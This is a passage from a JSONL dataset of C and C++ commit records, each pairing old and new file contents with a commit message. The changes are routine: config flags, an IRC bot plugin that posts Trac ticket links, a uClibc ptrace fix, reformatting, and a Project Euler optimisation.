on-board DS1825 in ds18b20 demo","message":"Support SuRF on-board DS1825 in ds18b20 demo\n","lang":"C","license":"bsd-3-clause","repos":"pabigot\/bsp430,pabigot\/bsp430,pabigot\/bsp430,pabigot\/bsp430"}
{"commit":"014e6504992271d144324e1fe8600c18ba84ebe7","old_file":"nrf5\/boards\/pca10001\/nrf51_hal_conf.h","new_file":"nrf5\/boards\/pca10001\/nrf51_hal_conf.h","old_contents":"#ifndef NRF51_HAL_CONF_H__\n#define NRF51_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n#define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n\n#endif \/\/ NRF51_HAL_CONF_H__\n","new_contents":"#ifndef NRF51_HAL_CONF_H__\n#define NRF51_HAL_CONF_H__\n\n#define HAL_UART_MODULE_ENABLED\n\/\/ #define HAL_SPI_MODULE_ENABLED\n#define HAL_TIME_MODULE_ENABLED\n\n#endif \/\/ NRF51_HAL_CONF_H__\n","subject":"Disable SPI hal from pca10001 board.","message":"nrf5\/boards: Disable SPI hal from pca10001 board.\n","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/circuitpython,adafruit\/circuitpython,tralamazza\/micropython,adafruit\/micropython,adafruit\/circuitpython,tralamazza\/micropython,adafruit\/circuitpython,adafruit\/micropython,adafruit\/micropython,tralamazza\/micropython,adafruit\/micropython,tralamazza\/micropython"}
{"commit":"5de3f975f46103e730e35a92323f9cdb15b13c9d","old_file":"bot\/src\/plugins\/tracredir.c","new_file":"bot\/src\/plugins\/tracredir.c","old_contents":"","new_contents":"\/*\r\n* This file is part of the beirdobot package\r\n* Copyright (C) 2012 Raymond Wagner\r\n*\r\n* This plugin uses code gratuitously stolen from the 'fart' plugin.\r\n* See that for any real licensing information.\r\n*\/\r\n\r\n\/*HEADER---------------------------------------------------\r\n* $Id$\r\n*\r\n* Copyright 2012 Raymond Wagner\r\n* All rights reserved\r\n*\/\r\n\r\n\/* INCLUDE FILES *\/\r\n#include <pthread.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include \"botnet.h\"\r\n#include \"environment.h\"\r\n#include \"structs.h\"\r\n#include \"protos.h\"\r\n#include \"logging.h\"\r\n\r\n\/* INTERNAL FUNCTION PROTOTYPES *\/\r\nvoid regexpFuncTrac( IRCServer_t *server, IRCChannel_t *channel, char *who,\r\n                     char *msg, IRCMsgType_t type, int *ovector, int ovecsize,\r\n                     void *tag );\r\n\r\n\/* CVS generated ID string *\/\r\nstatic char ident[] _UNUSED_ =\r\n    \"$Id$\";\r\n\r\nstatic char *contentRegexp = \"(?i)(?:\\\\B|\\\\s|^)#(\\\\d+)(?:\\\\s|\\\\.|,|$)\";\r\n\r\nvoid plugin_initialize( char *args )\r\n{\r\n    LogPrintNoArg( LOG_NOTICE, \"Initializing trac redirect...\" );\r\n    regexp_add( NULL, (const char *)contentRegexp, regexpFuncTrac, NULL );\r\n}\r\n\r\nvoid plugin_shutdown( void )\r\n{\r\n    LogPrintNoArg( LOG_NOTICE, \"Removing trac redirect...\" );\r\n    regexp_remove( NULL, contentRegexp );\r\n}\r\n\r\nvoid regexpFuncTrac( IRCServer_t *server, IRCChannel_t *channel, char *who,\r\n                     char *msg, IRCMsgType_t type, int *ovector, int ovecsize,\r\n                     void *tag )\r\n{\r\n    char *message, *ticketid;\r\n\r\n    if( !channel ) {\r\n        return;\r\n    }\r\n\r\n    ticketid = regexp_substring( msg, ovector, ovecsize, 1 );\r\n    if (ticketid)\r\n    {\r\n        message = (char *)malloc(35+strlen(ticketid)+2);\r\n        sprintf( message, \"http:\/\/code.mythtv.org\/trac\/ticket\/%s\", ticketid );\r\n        LoggedActionMessage( server, channel, message );\r\n        free(ticketid);\r\n        free(message);\r\n    }\r\n}\r\n\r\n\/*\r\n* vim:ts=4:sw=4:ai:et:si:sts=4\r\n*\/\r\n","subject":"Add a new trac redirect plugin","message":"Add a new trac redirect plugin\n\nAt this time, it is specific to mythtv use, but it can easily be extended to\nuse different urls per channel.  Minor changes were made to make it function\nproperly.\n\nThank you, Raymond.\n","lang":"C","license":"lgpl-2.1","repos":"Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot,Beirdo\/beirdobot"}
{"commit":"92ef198213e7e5881877be5d79516046cc1e59b5","old_file":"example1\/Example1.h","new_file":"example1\/Example1.h","old_contents":"\/*\n * Copyright (C) Sometrik oy 2015\n *\n *\/\n\n#include <FWContextBase.h>\n#include <AndroidPlatform.h>\n\nclass Example1 : public FWContextBase {\npublic:\n\tExample1(AndroidPlatform * _platform) : FWContextBase(_platform), platform(_platform) { }\n\n  bool Init();\n  void onDraw();\n  void onShutdown();\n  \n private:\n  AndroidPlatform * platform;\n};\n","new_contents":"\/*\n * Copyright (C) Sometrik oy 2015\n *\n *\/\n\n#include <FWContextBase.h>\n#include <FWPlatformBase.h>\n\nclass Example1 : public FWContextBase {\npublic:\n\tExample1(FWPlatformBase * _platform) : FWContextBase(_platform), platform(_platform) { }\n\n  bool Init();\n  void onDraw();\n  void onShutdown();\n  \n private:\n  FWPlatformBase * platform;\n};\n","subject":"Change AndroidPlatform variables to FWPlatformBase, switch include","message":"Change AndroidPlatform variables to FWPlatformBase, switch include","lang":"C","license":"mit","repos":"Sometrik\/framework,Sometrik\/framework,Sometrik\/framework"}
{"commit":"b3e4a879a534add27e8435b11628d4d79d706434","old_file":"libc\/sysdeps\/linux\/m68k\/ptrace.c","new_file":"libc\/sysdeps\/linux\/m68k\/ptrace.c","old_contents":"\n#include <errno.h>\n#include <asm\/ptrace.h>\n#include <sys\/syscall.h>\n\nint\nptrace(int request, int pid, int addr, int data)\n{\n\tlong ret;\n\tlong res;\n\tif (request > 0 && request < 4) (long *)data = &ret;\n\n\t__asm__ volatile (\"movel %1,%\/d0\\n\\t\"\n\t\t\t  \"movel %2,%\/d1\\n\\t\"\n\t\t\t  \"movel %3,%\/d2\\n\\t\"\n\t\t\t  \"movel %4,%\/d3\\n\\t\"\n\t\t\t  \"movel %5,%\/d4\\n\\t\"\n\t\t\t  \"trap  #0\\n\\t\"\n\t\t\t  \"movel %\/d0,%0\"\n\t\t:\"=g\" (res)\n\t\t:\"i\" (__NR_ptrace), \"g\" (request), \"g\" (pid),\n\t\t \"g\" (addr), \"g\" (data) : \"%d0\", \"%d1\", \"%d2\", \"%d3\", \"%d4\");\n\n\tif (res >= 0) {\n\t\tif (request > 0 && request < 4) {\n\t\t\t__set_errno(0);\n\t\t\treturn (ret);\n\t\t}\n\t\treturn (int) res;\n\t}\n\t__set_errno(-res);\n\treturn -1;\n}\n","new_contents":"\n#include <errno.h>\n#include <asm\/ptrace.h>\n#include <sys\/syscall.h>\n\nint\nptrace(int request, int pid, int addr, int data)\n{\n\tlong ret;\n\tlong res;\n\tif (request > 0 && request < 4) data = (int)&ret;\n\n\n\t__asm__ volatile (\"movel %1,%\/d0\\n\\t\"\n\t\t\t  \"movel %2,%\/d1\\n\\t\"\n\t\t\t  \"movel %3,%\/d2\\n\\t\"\n\t\t\t  \"movel %4,%\/d3\\n\\t\"\n\t\t\t  \"movel %5,%\/d4\\n\\t\"\n\t\t\t  \"trap  #0\\n\\t\"\n\t\t\t  \"movel %\/d0,%0\"\n\t\t:\"=g\" (res)\n\t\t:\"i\" (__NR_ptrace), \"g\" (request), \"g\" (pid),\n\t\t \"g\" (addr), \"g\" (data) : \"%d0\", \"%d1\", \"%d2\", \"%d3\", \"%d4\");\n\n\tif (res >= 0) {\n\t\tif (request > 0 && request < 4) {\n\t\t\t__set_errno(0);\n\t\t\treturn (ret);\n\t\t}\n\t\treturn (int) res;\n\t}\n\t__set_errno(-res);\n\treturn -1;\n}\n","subject":"Patch from Bernardo Innocenti: Remove use of cast-as-l-value extension, removed in GCC 3.5.","message":"Patch from Bernardo Innocenti:\nRemove use of cast-as-l-value extension, removed in GCC 3.5.\n","lang":"C","license":"lgpl-2.1","repos":"kraj\/uClibc,ysat0\/uClibc,majek\/uclibc-vx32,atgreen\/uClibc-moxie,ffainelli\/uClibc,skristiansson\/uClibc-or1k,ddcc\/klee-uclibc-0.9.33.2,groundwater\/uClibc,skristiansson\/uClibc-or1k,wbx-github\/uclibc-ng,ChickenRunjyd\/klee-uclibc,hjl-tools\/uClibc,OpenInkpot-archive\/iplinux-uclibc,ysat0\/uClibc,czankel\/xtensa-uclibc,kraj\/uClibc,ChickenRunjyd\/klee-uclibc,brgl\/uclibc-ng,klee\/klee-uclibc,hjl-tools\/uClibc,hwoarang\/uClibc,wbx-github\/uclibc-ng,czankel\/xtensa-uclibc,ChickenRunjyd\/klee-uclibc,skristiansson\/uClibc-or1k,ndmsystems\/uClibc,foss-xtensa\/uClibc,foss-xtensa\/uClibc,hjl-tools\/uClibc,brgl\/uclibc-ng,waweber\/uclibc-clang,hwoarang\/uClibc,foss-xtensa\/uClibc,groundwater\/uClibc,ndmsystems\/uClibc,hjl-tools\/uClibc,ysat0\/uClibc,hwoarang\/uClibc,hwoarang\/uClibc,brgl\/uclibc-ng,gittup\/uClibc,kraj\/uclibc-ng,OpenInkpot-archive\/iplinux-uclibc,ndmsystems\/uClibc,majek\/uclibc-vx32,OpenInkpot-archive\/iplinux-uclibc,mephi42\/uClibc,ffainelli\/uClibc,ndmsystems\/uClibc,waweber\/uclibc-clang,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,klee\/klee-uclibc,gittup\/uClibc,ddcc\/klee-uclibc-0.9.33.2,OpenInkpot-archive\/iplinux-uclibc,kraj\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,klee\/klee-uclibc,czankel\/xtensa-uclibc,foss-for-synopsys-dwc-arc-processors\/uClibc,m-labs\/uclibc-lm32,gittup\/uClibc,skristiansson\/uClibc-or1k,groundwater\/uClibc,kraj\/uClibc,m-labs\/uclibc-lm32,kraj\/uClibc,groundwater\/uClibc,groundwater\/uClibc,kraj\/uclibc-ng,mephi42\/uClibc,klee\/klee-uclibc,atgreen\/uClibc-moxie,brgl\/uclibc-ng,mephi42\/uClibc,waweber\/uclibc-clang,ysat0\/uClibc,foss-xtensa\/uClibc,ffainelli\/uClibc,kraj\/uclibc-ng,atgreen\/uClibc-moxie,ddcc\/klee-uclibc-0.9.33.2,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,waweber\/uclibc-clang,czankel\/xtensa-uclibc,m-labs\/uclibc-lm32,ChickenRunjyd\/klee-uclibc,majek\/uclibc-vx32,foss-for-synopsys-dwc-arc-processors\/uClibc,ffainelli\/uClibc,hjl-tools\/uClibc,atgreen\/uClibc-moxie,gittup\/uClibc,majek\/uclibc-vx32,m-labs\/uclibc-lm32,ddcc\/klee-uclibc-0.9.33.2,mephi42\/uClibc"}
{"commit":"91bbb7ce560f5915715b750baa858501f505d988","old_file":"cmd\/smyrna\/gui\/topviewsettings.c","new_file":"cmd\/smyrna\/gui\/topviewsettings.c","old_contents":"#include \"topviewsettings.h\"\n#include \"gui.h\"\n\n\nvoid on_settingsOKBtn_clicked (GtkWidget *widget,gpointer user_data)\n{\n\n\n}\nvoid on_settingsCancelBtn_clicked (GtkWidget *widget,gpointer user_data)\n{\n\n}\nint load_settings_from_graph(Agraph_t *g)\n{\n\n\treturn 1;\n}\nint update_graph_from_settings(Agraph_t *g)\n{\n\n\treturn 1;\n}\n\nint show_settings_form()\n{\n\t\tgtk_widget_hide(glade_xml_get_widget(xml, \"dlgSettings\"));\n\t\tgtk_widget_show(glade_xml_get_widget(xml, \"dlgSettings\"));\n\t\tgtk_window_set_keep_above           ((GtkWindow*)glade_xml_get_widget(xml, \"dlgSettings\"),1);\n}\n","new_contents":"\/* vim:set shiftwidth=4 ts=8: *\/\n\n\/**********************************************************\n*      This software is part of the graphviz package      *\n*                http:\/\/www.graphviz.org\/                 *\n*                                                         *\n*            Copyright (c) 1994-2004 AT&T Corp.           *\n*                and is licensed under the                *\n*            Common Public License, Version 1.0           *\n*                      by AT&T Corp.                      *\n*                                                         *\n*        Information and Software Systems Research        *\n*              AT&T Research, Florham Park NJ             *\n**********************************************************\/\n\n#include \"topviewsettings.h\"\n#include \"gui.h\"\n\n\nvoid on_settingsOKBtn_clicked(GtkWidget * widget, gpointer user_data)\n{\n\n\n}\n\nvoid on_settingsCancelBtn_clicked(GtkWidget * widget, gpointer user_data)\n{\n\n}\nint load_settings_from_graph(Agraph_t * g)\n{\n\n    return 1;\n}\n\nint update_graph_from_settings(Agraph_t * g)\n{\n\n    return 1;\n}\n\nint show_settings_form()\n{\n    gtk_widget_hide(glade_xml_get_widget(xml, \"dlgSettings\"));\n    gtk_widget_show(glade_xml_get_widget(xml, \"dlgSettings\"));\n    gtk_window_set_keep_above((GtkWindow *)\n\t\t\t      glade_xml_get_widget(xml, \"dlgSettings\"), 1);\n}\n","subject":"Clean up smyrna files: remove unnecessary globals modify libraries not to rely on code in cmd\/smyrna remove static declarations from .h files remove unnecessary libraries mark unused code and clean up warnings","message":"Clean up smyrna files:\n  remove unnecessary globals\n  modify libraries not to rely on code in cmd\/smyrna\n  remove static declarations from .h files\n  remove unnecessary libraries\n  mark unused code and clean up warnings\n","lang":"C","license":"epl-1.0","repos":"tkelman\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,ellson\/graphviz,jho1965us\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,ellson\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,pixelglow\/graphviz,ellson\/graphviz,jho1965us\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,tkelman\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz"}
{"commit":"c1a36603d5e603828cdae9068987cc58e625fc3b","old_file":"arduino\/OpenROV\/Settings.h","new_file":"arduino\/OpenROV\/Settings.h","old_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (1)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","new_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","subject":"Reset default settings to stock kit configuration","message":"Reset default settings to stock kit configuration\n","lang":"C","license":"mit","repos":"codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software,codewithpassion\/openrov-software"}
{"commit":"63b7048e85bb947d1ef2cdd2f6a1fd6c436509c9","old_file":"src\/grid.c","new_file":"src\/grid.c","old_contents":"#include <string.h>\n#include \"window.h\"\n#include \"grid.h\"\n#include \"utils.h\"\n\nextern window_settings_t win_set;\n\nvoid print_grid(WINDOW *win)\n{\n    getmaxyx(win, win_set.maxGridHeight, win_set.maxGridWidth);\n\n    \/\/ If the grid is larger than the maximum height\n    \/\/ or width, then set it to max height or width\n    if (g.y_grid > win_set.maxGridHeight)\n        g.y_grid = win_set.maxGridHeight;\n\n    if (g.x_grid > win_set.maxGridWidth)\n        g.x_grid = win_set.maxGridWidth;\n\n    int32_t y_grid_step = win_set.maxGridHeight \/ g.y_grid;\n    int32_t x_grid_step = win_set.maxGridWidth \/ g.x_grid;\n\n    int32_t y_max_height = y_grid_step * g.y_grid;\n    int32_t x_max_height = x_grid_step * g.x_grid;\n\n    for(int32_t y=0;y<=y_max_height;y+=y_grid_step)\n        for(int32_t x=0;x<=x_max_height;x+=x_grid_step)\n            color_str(win, y, x, 0, 0, \"O\");\n\n\n    wnoutrefresh(win);\n}\n\n","new_contents":"#include <string.h>\n#include \"window.h\"\n#include \"grid.h\"\n#include \"utils.h\"\n\nextern window_settings_t win_set;\n\nvoid print_grid(WINDOW *win)\n{\n    getmaxyx(win, win_set.maxGridHeight, win_set.maxGridWidth);\n\n    \/\/ If the grid is larger than the maximum height\n    \/\/ or width, then set it to max height or width\n    if (g.y_grid > win_set.maxGridHeight)\n        g.y_grid = win_set.maxGridHeight;\n\n    if (g.x_grid > win_set.maxGridWidth)\n        g.x_grid = win_set.maxGridWidth;\n\n    int32_t y_grid_step = win_set.maxGridHeight \/ g.y_grid;\n    int32_t x_grid_step = win_set.maxGridWidth \/ g.x_grid;\n\n    int32_t y_max_height = y_grid_step * g.y_grid;\n    int32_t x_max_height = x_grid_step * g.x_grid;\n\n    for(int32_t y=0;y<=y_max_height;y+=y_grid_step)\n        for(int32_t x=0;x<=x_max_height;x+=x_grid_step)\n            color_str(win, y, x, 0, 0, \"+\");\n\n\n    wnoutrefresh(win);\n}\n\n","subject":"Change print symbol from O to +.","message":"Change print symbol from O to +.\n","lang":"C","license":"mit","repos":"svagionitis\/gridNcurses,svagionitis\/gridNcurses,svagionitis\/gridNcurses"}
{"commit":"36d168bf9dc874df19c90dccc2611b5ecf6343be","old_file":"obexd\/plugins\/messages-tracker.c","new_file":"obexd\/plugins\/messages-tracker.c","old_contents":"","new_contents":"\/*\n *\n *  OBEX Server\n *\n *  Copyright (C) 2010-2011  Nokia Corporation\n *\n *\n *  This program is free software; you can redistribute it and\/or modify\n *  it under the terms of the GNU General Public License as published by\n *  the Free Software Foundation; either version 2 of the License, or\n *  (at your option) any later version.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU General Public License for more details.\n *\n *  You should have received a copy of the GNU General Public License\n *  along with this program; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <errno.h>\n\n#include \"messages.h\"\n\nint messages_init(void)\n{\n\treturn 0;\n}\n\nvoid messages_exit(void)\n{\n}\n\nint messages_connect(void **s)\n{\n\t*s = NULL;\n\n\treturn 0;\n}\n\nvoid messages_disconnect(void *s)\n{\n}\n\nint messages_set_notification_registration(void *session,\n\t\tvoid (*send_event)(void *session,\n\t\t\tstruct messages_event *event, void *user_data),\n\t\tvoid *user_data)\n{\n\treturn -EINVAL;\n}\n\nint messages_set_folder(void *s, const char *name, gboolean cdup)\n{\n\treturn -EINVAL;\n}\n\nint messages_get_folder_listing(void *session,\n\t\tconst char *name,\n\t\tuint16_t max, uint16_t offset,\n\t\tvoid (*callback)(void *session, int err, uint16_t size,\n\t\t\tconst char *name, void *user_data),\n\t\tvoid *user_data)\n{\n\treturn -EINVAL;\n}\n\nint messages_get_messages_listing(void *session,\n\t\tconst char *name,\n\t\tuint16_t max, uint16_t offset, struct messages_filter *filter,\n\t\tvoid (*callback)(void *session, int err, uint16_t size,\n\t\t\tgboolean newmsg, const struct messages_message *message,\n\t\t\tvoid *user_data),\n\t\tvoid *user_data)\n{\n\treturn -EINVAL;\n}\n\nint messages_get_message(void *session,\n\t\tconst char *handle,\n\t\tunsigned long flags,\n\t\tvoid (*callback)(void *session, int err, gboolean fmore,\n\t\t\tconst char *chunk, void *user_data),\n\t\tvoid *user_data)\n{\n\treturn -EINVAL;\n}\n\nvoid messages_abort(void *session)\n{\n}\n","subject":"Add tracker backend stump for MAP","message":"obexd: Add tracker backend stump for MAP\n","lang":"C","license":"lgpl-2.1","repos":"silent-snowman\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,pkarasev3\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez,mapfau\/bluez,ComputeCycles\/bluez,pstglia\/external-bluetooth-bluez,mapfau\/bluez,silent-snowman\/bluez,pkarasev3\/bluez,ComputeCycles\/bluez,mapfau\/bluez,pstglia\/external-bluetooth-bluez,ComputeCycles\/bluez"}
{"commit":"6f2ab9593f143abb6b517ad89da37fe9d3c5d209","old_file":"c_solutions_1-10\/Euler_4.c","new_file":"c_solutions_1-10\/Euler_4.c","old_contents":"#include \"euler_util.h\"\n\n#include <string.h>\n\n#define MAX 7 \n\n\nint main(int argc, char *argv[]) \n{\n    float start = timeit();\n\n    char *forward = calloc(sizeof(char), sizeof(char) * MAX);\n    char *backward = calloc(sizeof(char), sizeof(char) * MAX);\n\n    size_t int_len;\n\n    int high = 0;\n\n    for (int x=100; x < 1000; x++) {\n        for (int y=100; y < 1000; y++) {\n\n            int_len = snprintf(forward, MAX, \"%d\", x * y);\n\n            for (int i=0, str_len=int_len-1; i < int_len; i++, str_len--) \n                backward[i] = forward[str_len];\n\n            if (strcmp(forward, backward) == 0 && atoi(backward) > high) \n                high = atoi(backward);\n        }\n    }\n\n    free(forward);\n    free(backward);\n\n    float stop = timeit();\n\n    printf(\"Answer: %d\\n\", high);\n    printf(\"Time: %.8f\\n\", stop - start);\n\n    return 0;\n}\n\n\n","new_contents":"#include \"euler_util.h\"\n\n#include <string.h>\n\n#define MAX 7 \n\n\nint main(int argc, char *argv[]) \n{\n    float start = timeit();\n    char product[MAX] = { '\\0' };\n    int high = 0;\n\n    for (int x=100; x < 1000; x++) {\n        for (int y=x; y < 1000; y++) {\n\n            int canidate = x * y;\n            size_t int_len = snprintf(product, MAX, \"%d\", canidate);\n            int head = 0, tail = int_len - 1;\n            for (;head < tail && product[head] == product[tail]; head++, tail--)\n                ;\n            if (head > tail && canidate > high)\n                high = canidate;\n        }\n    }\n\n\n    float stop = timeit();\n\n    printf(\"Answer: %d\\n\", high);\n    printf(\"Time: %.8f\\n\", stop - start);\n\n    return 0;\n}\n\n\n","subject":"Improve loop (avg. from ~0.15 to ~0.07)","message":"Improve loop (avg. from ~0.15 to ~0.07)\n","lang":"C","license":"mit","repos":"tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler,tijko\/Project-Euler"}
{"commit":"fae7949017389ee7c127883fdfcd3672f98e2fc3","old_file":"event\/timeout_queue.h","new_file":"event\/timeout_queue.h","old_contents":"#ifndef\tTIMEOUT_QUEUE_H\n#define\tTIMEOUT_QUEUE_H\n\n#include <map>\n\nclass TimeoutQueue {\n\ttypedef std::map<NanoTime, CallbackQueue> timeout_map_t;\n\n\tLogHandle log_;\n\ttimeout_map_t timeout_queue_;\npublic:\n\tTimeoutQueue(void)\n\t: log_(\"\/event\/timeout\/queue\"),\n\t  timeout_queue_()\n\t{ }\n\n\t~TimeoutQueue()\n\t{ }\n\n\tbool empty(void) const\n\t{\n\t\ttimeout_map_t::const_iterator it;\n\n\t\t\/*\n\t\t * Since we allow elements within each CallbackQueue to be\n\t\t * cancelled, we must scan them.\n\t\t *\n\t\t * XXX\n\t\t * We really shouldn't allow this, even if it means we have\n\t\t * to specialize CallbackQueue for this purpose or add\n\t\t * virtual methods to it.  As it is, we can return true\n\t\t * for empty and for ready at the same time.  And in those\n\t\t * cases we have to call perform to garbage collect the\n\t\t * unused CallbackQueues.  We'll, quite conveniently,\n\t\t * never make that call.  Yikes.\n\t\t *\/\n\t\tfor (it = timeout_queue_.begin(); it != timeout_queue_.end(); ++it) {\n\t\t\tif (it->second.empty())\n\t\t\t\tcontinue;\n\t\t\treturn (false);\n\t\t}\n\t\treturn (true);\n\t}\n\n\tAction *append(uintmax_t, SimpleCallback *);\n\tuintmax_t interval(void) const;\n\tvoid perform(void);\n\tbool ready(void) const;\n};\n\n#endif \/* !TIMEOUT_QUEUE_H *\/\n","new_contents":"#ifndef\tTIMEOUT_QUEUE_H\n#define\tTIMEOUT_QUEUE_H\n\n#include <map>\n\n#include <common\/time\/time.h>\n\nclass TimeoutQueue {\n\ttypedef std::map<NanoTime, CallbackQueue> timeout_map_t;\n\n\tLogHandle log_;\n\ttimeout_map_t timeout_queue_;\npublic:\n\tTimeoutQueue(void)\n\t: log_(\"\/event\/timeout\/queue\"),\n\t  timeout_queue_()\n\t{ }\n\n\t~TimeoutQueue()\n\t{ }\n\n\tbool empty(void) const\n\t{\n\t\ttimeout_map_t::const_iterator it;\n\n\t\t\/*\n\t\t * Since we allow elements within each CallbackQueue to be\n\t\t * cancelled, we must scan them.\n\t\t *\n\t\t * XXX\n\t\t * We really shouldn't allow this, even if it means we have\n\t\t * to specialize CallbackQueue for this purpose or add\n\t\t * virtual methods to it.  As it is, we can return true\n\t\t * for empty and for ready at the same time.  And in those\n\t\t * cases we have to call perform to garbage collect the\n\t\t * unused CallbackQueues.  We'll, quite conveniently,\n\t\t * never make that call.  Yikes.\n\t\t *\/\n\t\tfor (it = timeout_queue_.begin(); it != timeout_queue_.end(); ++it) {\n\t\t\tif (it->second.empty())\n\t\t\t\tcontinue;\n\t\t\treturn (false);\n\t\t}\n\t\treturn (true);\n\t}\n\n\tAction *append(uintmax_t, SimpleCallback *);\n\tuintmax_t interval(void) const;\n\tvoid perform(void);\n\tbool ready(void) const;\n};\n\n#endif \/* !TIMEOUT_QUEUE_H *\/\n","subject":"Use new NanoTime location header, oops.","message":"Use new NanoTime location header, oops.\n\n","lang":"C","license":"bsd-2-clause","repos":"wanproxy\/wanproxy,wanproxy\/wanproxy,wanproxy\/wanproxy"}
{"commit":"5d02ce6786c9b7bd1f434826c4929b4233b5ae58","old_file":"readline.h","new_file":"readline.h","old_contents":"#ifndef READLINE_FALLBACK_H\n#define READLINE_FALLBACK_H\n\n#include <stdio.h>\n#include <string.h>\n\nchar* readline(const char * prompt) {\n    char *result = malloc(1);\n    size_t n = 0;\n    printf(\"%s\", prompt);\n    getline(&result, &n, stdin);\n    result[strlen(result)-1] = 0;\n    return result;\n}\n\n#endif \/* READLINE_FALLBACK_H *\/\n","new_contents":"#ifndef READLINE_FALLBACK_H\n#define READLINE_FALLBACK_H\n\n#include <stdio.h>\n#include <string.h>\n\nchar* readline(const char * prompt) {\n    char *result = malloc(1024);\n    printf(\"%s\", prompt);\n    fgets(result, 1023, stdin);\n    result[strlen(result)-1] = 0;\n    return result;\n}\n\n#endif \/* READLINE_FALLBACK_H *\/\n","subject":"Use fgets(3) instead of getline(3) because whilst getline(3) is POSIX, it is not in the C89 or later standards","message":"Use fgets(3) instead of getline(3) because whilst getline(3) is POSIX, it is not in the C89 or later standards\n","lang":"C","license":"isc","repos":"lucasad\/base-conv"}
